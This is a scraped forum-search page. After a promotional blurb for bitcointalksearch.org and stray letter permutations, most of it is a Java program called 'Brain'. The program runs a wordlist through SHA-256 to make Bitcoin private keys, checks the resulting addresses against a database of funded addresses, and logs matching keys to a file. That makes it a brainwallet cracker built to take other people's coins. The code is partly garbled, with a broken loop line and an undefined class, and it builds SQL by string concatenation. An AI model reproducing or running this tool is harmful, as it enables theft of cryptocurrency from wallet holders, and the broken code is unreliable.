It was the Bitcointalk forum that inspired us to create Bitcointalksearch.org - Bitcointalk is an excellent site that should be the default page for anybody dealing in cryptocurrency, since it is a virtual gold-mine of data. However, our experience and user feedback led us create our site; Bitcointalk's search is slow, and difficult to get the results you need, because you need to log in first to find anything useful - furthermore, there are rate limiters for their search functionality.
The aim of our project is to create a faster website that yields more results and faster without having to create an account and eliminate the need to log in - your personal data, therefore, will never be in jeopardy since we are not asking for any of your data and you don't need to provide them to use our site with all of its capabilities.
We created this website with the sole purpose of users being able to search quickly and efficiently in the field of cryptocurrency so they will have access to the latest and most accurate information and thereby assisting the crypto-community at large.
A
B
C
A
B
C
AB
AC
BA
BC
CA
CB
ABC
ACB
BAC
BCA
CAB
CBA
import org.bitcoinj.core.Base58;
import org.bitcoinj.core.ECKey;
import org.bitcoinj.core.LegacyAddress;
import org.bitcoinj.core.NetworkParameters;
import org.bitcoinj.params.MainNetParams;
import java.io.*;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.sql.*;
import java.util.Date;
public class Brain {
static final NetworkParameters NETWORK_PARAMETERS = MainNetParams.get();
static final int STATUS_PERIOD = 1000*60*1;
static MessageDigest messageDigest;
static Statement statement;
public static void main(String[] args) throws NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, IOException, InterruptedException {
db();
messageDigest = MessageDigest.getInstance("SHA-256");
String filename=args[0];
int skip = 0;
if (args.length>1){
skip = Integer.valueOf(args[1]);
}
FileReader fileReader = null;
try {
fileReader = new FileReader(filename);
} catch (FileNotFoundException e) {
System.err.println("not found: " + filename);
System.exit(-1);
}
long count = 0;
long start = 0;
System.out.println("Brain start");
try {
BufferedReader bufferReader = new BufferedReader(fileReader);
String line;
while ((line = bufferReader.readLine()) != null) {
if (line.trim().isEmpty()){
continue;
}
count++;
if (skip>0){
if (countcontinue;
}
skip = 0;
}
test(line);
test(line.toLowerCase());
test(line.toUpperCase());
if (line.endsWith(",")){
line=line.substring(0, line.length()-1);
test(line);
test(line.toLowerCase());
test(line.toUpperCase());
}
if (System.currentTimeMillis()-start > STATUS_PERIOD){
System.out.println("UP!"+count+" "+ line + " " + (new Date()));
start = System.currentTimeMillis();
count = 0;
}
}
}catch (Exception e){
System.err.println(e.getLocalizedMessage());
System.exit(-1);
}
System.out.println("Brain end");
}
private static void db() {
try{
Connection connection = DriverManager.getConnection("jdbc:postgresql://localhost:5433/btc", "postgres", "password");
System.out.println("Connected to PostgreSQL database!");
statement = connection.createStatement();
}catch (Exception e){
System.out.println(e.getMessage());
System.exit(-1);
}
}
private static void test(String text) throws IOException, SQLException {
messageDigest.update(text.getBytes("UTF-8"));
ECKey ecKey = new ECKey(messageDigest.digest(), (byte[])null);
String address = LegacyAddress.fromKey(NETWORK_PARAMETERS, ecKey).toString();
if (checkAddressDatabase(address)){
System.out.println(text + "|" + ecKey.getPrivateKeyAsHex()+"|"+ecKey.getPrivateKeyAsWiF(NETWORK_PARAMETERS)+"|"+address);
FileWriter myWriter = new FileWriter("brainResult.txt", true);
myWriter.write(text + "|" + ecKey.getPrivateKeyAsHex()+"|"+ecKey.getPrivateKeyAsWiF(NETWORK_PARAMETERS)+"|"+address);
myWriter.close();
}
ecKey = PrivateKey.fromBase58(NETWORK_PARAMETERS, getCompressedWif(ecKey.getPrivateKeyAsHex())).getKey();
address = LegacyAddress.fromKey(NETWORK_PARAMETERS, ecKey).toString();
if (checkAddressDatabase(address)){
System.out.println(text + "|" + ecKey.getPrivateKeyAsHex()+"|"+ecKey.getPrivateKeyAsWiF(NETWORK_PARAMETERS)+"|"+address);
FileWriter myWriter = new FileWriter("brainResult.txt", true);
myWriter.write(text + "|" + ecKey.getPrivateKeyAsHex()+"|"+ecKey.getPrivateKeyAsWiF(NETWORK_PARAMETERS)+"|"+address);
myWriter.write("\r\n");
myWriter.close();
}
}
private static String getCompressedWif(String hex){
String string = "80"+hex+"01";
byte[] digest = messageDigest.digest(hexStringToByteArray(string));
String checksum = bytesToHex(messageDigest.digest(digest)).substring(0,8);
byte[] data = hexStringToByteArray(string + checksum);
return Base58.encode(data);
}
private static boolean checkAddressDatabase(String address) throws SQLException {
ResultSet resultSet = statement.executeQuery("SELECT balance FROM public.address WHERE address='"+address+"'");
while (resultSet.next()) {
return true;
}
return false;
}
private static String bytesToHex(byte[] bytes) {
StringBuffer result = new StringBuffer();
for (byte b : bytes) result.append(Integer.toString((b & 0xff) + 0x100, 16).substring(1));
return result.toString();
}
private static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2) {
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ Character.digit(s.charAt(i+1), 16));
}
return data;
}
}